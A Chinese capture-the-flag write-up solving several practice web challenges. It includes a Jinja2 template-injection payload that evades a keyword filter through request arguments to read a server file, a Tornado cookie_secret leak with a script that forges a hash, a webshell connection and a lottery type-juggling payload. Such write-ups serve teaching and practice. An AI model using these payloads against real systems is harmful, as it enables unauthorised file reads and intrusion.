攻防世界(web三)

简介: 攻防世界(web三)

攻防世界(web三)

Confusion1

某天,Bob说:PHP是最好的语言,但是Alice不赞同。所以Alice编写了这个网站证明。在她还没有写完的时候,我发现其存在问题。(请不要使用扫描器)

输入{{ 7*‘7’ }}

确认是SSTI

返回如下

应该是Jinja2或Twig

尝试绕过

最常用的{{‘’.class.mro[2].subclasses()}}

这应该是过滤了啥

(后来发现是过滤了 class、 subclasses、 read等关键词)

尝试{{url_for.globals}}

看眼{{config}}

尝试request

{{‘’[request.args.a][request.args.b][2]request.args.c}}?a=class&b=mro&c=subclasses

1

有了

request可以用

那就简单了

最终payload

{{‘’[request.args.a][request.args.b][2]request.args.c40request.args.d}}?a=class&b=mro&c=subclasses&d=read

http://61.147.171.105:63263/login.php/%7B%7B''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()%7D%7D?a=__class__&b=__mro__&c=__subclasses__&d=read

easytornado

题目描述:

Tornado 框架

打开/flag.txt后发现这样的页面,在url中看到了传递的两个参数,一个是文件路径,一个是加密后的一串数值。

打开/welcome.txt发现了render的提示字样,而render是一个渲染函数,结合框架Tornado,我们大体可以猜测出来,应该是SSTI注入漏洞。

在/hints.txt中我们发现了md5(cookie_secret+md5(filename)),给我的直觉是参数filehash的值。但是我们不知道cookie_secret的数值是多少,接着往下去找SSTI的注入点

http://61.147.171.105:64591/error?msg={{handler.settings}}

拿到cookie_secret之后,按照md5(cookie_secret+md5(filename))算一下

最后访问/file?filename=/fllllllllllllag&filehash=xxxxxxxxx即可

#导入hashlib模块
import hashlib
#获取一个md5加密算法对象
md = hashlib.md5()
#用提供的 字节串 更新此哈希对象(hash object)的状态。
md.update('/fllllllllllllag'.encode('utf-8'))
#NOTICE:
#update()方法需要接收的参数是一个字节对象。
#向对象中传入字节串时,必须为编码类型。可以使用字符串前b' '的方法或使用.encode('UTF-8')的方法,使字符串变为bytes类型
#以十六进制数字字符串的形式返回摘要值(哈希函数计算后生成的值就叫做摘要或者摘要值)
fact = md.hexdigest()
md = hashlib.md5()
md.update(('e128f299-9a76-4f52-ab20-56abd9df791a' + fact).encode('utf-8'))
print(md.hexdigest())
http://61.147.171.105:64591/file?filename=/fllllllllllllag&filehash=43aa80b7244d1feb8ea61e66cb1504d3

webshell

题目描述:小宁百度了php一句话,觉着很有意思,并且把它放在index.php里。

直接使用蚁剑连接

Training-WWW-Robots

1.该题目提到robots协议

2.一看到robots协议,就会搜寻robots.tx

3.User—Agent: 定义搜索引擎类型(定义robots对哪个搜索引擎生效)

User—Agent:BaiduSpider (定义该协议只对百度搜索引擎生效)

User—Agent:*(定义该协议协议对所有搜索引擎生效)

Disallow: 定义搜索引擎禁止抓取收录地址

Disallow:/ (代表着整站禁止搜索引擎抓取,/代表着网站根目录),如果前期做了整站禁止搜索引擎抓取,后期蜘蛛将很长一段时间不会来网站进行抓取内容。

Disallow:/ data/ (代表着禁止蜘蛛抓取data目录后所有的页面)

Disallow:/d (代表着data文件后边的网页被屏蔽)

4.然后打开Disallow后的文件————————————————

http://61.147.171.105:61255/fl0g.php

lottery

游戏规则
Each starter has $20
Pay $2, and select 7 numbers. Comparing with the winning number:
2 same numbers: you win $5
3 same numbers: you win $20
4 same numbers: you win $300
5 same numbers: you win $1800
6 same numbers: you win $200000
7 same numbers: you win $5000000

每玩一次扣2

{"action":"buy",
"numbers":[
true,
true,
true,
true,
true,
true,
true
]
}


相关文章
|
4月前
|
SQL 监控 安全
Java Web应用的安全防护与攻防策略
Java Web应用的安全防护与攻防策略
攻防世界---baby_web
攻防世界---baby_web
|
6月前
|
数据安全/隐私保护
攻防世界web-----easyupload
攻防世界web-----easyupload
|
3月前
|
存储 PHP 数据安全/隐私保护
攻防世界 Web_php_unserialize
攻防世界 Web_php_unserialize
57 0
|
4月前
|
SQL 安全 Java
Java Web应用的安全防护与攻防深度剖析
Java Web应用的安全防护与攻防深度剖析
|
4月前
|
SQL 监控 安全
Java Web应用的安全防护与攻防策略
Java Web应用的安全防护与攻防策略
攻防世界---web---warmup
攻防世界---web---warmup
攻防世界---web---warmup
|
6月前
|
数据库
攻防世界---web---NewsCenter
攻防世界---web---NewsCenter
|
6月前
|
SQL 开发框架 .NET
攻防世界---web---supersqli
攻防世界---web---supersqli
|
6月前
|
PHP
攻防世界---Web_php_include
攻防世界---Web_php_include